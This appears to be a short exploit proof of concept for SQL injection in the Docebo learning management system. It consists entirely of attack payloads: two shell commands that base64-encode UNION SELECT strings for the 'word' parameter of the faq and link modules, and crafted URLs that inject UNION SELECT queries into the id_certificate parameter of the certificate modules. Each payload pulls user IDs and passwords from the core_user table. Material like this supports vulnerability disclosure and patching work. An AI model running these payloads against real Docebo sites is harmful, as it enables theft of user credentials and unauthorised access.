$ echo -n "' union select userid,pass from core_user-- " | base64
JyB1bmlvbiBzZWxlY3QgdXNlcmlkLHBhc3MgZnJvbSBjb3JlX3VzZXIgLS0g

http://www.example.com/docebo/doceboLms/index.php?modname=faq&op=play&mode=help&word=JyB1bmlvbiBzZWxlY3QgdXNlcmlkLHBhc3MgZnJvbSBjb3JlX3VzZXIgLS0g

$ echo -n "' union select 1,userid,pass from core_user-- " | base64
JyB1bmlvbiBzZWxlY3QgMSx1c2VyaWQscGFzcyBmcm9tIGNvcmVfdXNlciAtLSA=

http://www.example.com/docebo/doceboLms/index.php?modname=link&op=play&mode=keyw&word=JyB1bmlvbiBzZWxlY3QgMSx1c2VyaWQscGFzcyBmcm9tIGNvcmVfdXNlciAtLSA=

http://www.example.com/docebo/doceboCore/index.php?modname=meta_certificate&op=elemmetacertificate&id_certificate=3222 union select concat (userid,0x3d,pass),2,3 from core_user limit 1,2

http://www.example.com/docebo/doceboCore/index.php?modname=certificate&op=elemcertificate&id_certificate=1123 union select concat(userid,0x3d,pass),2,3 from core_user limit 1,2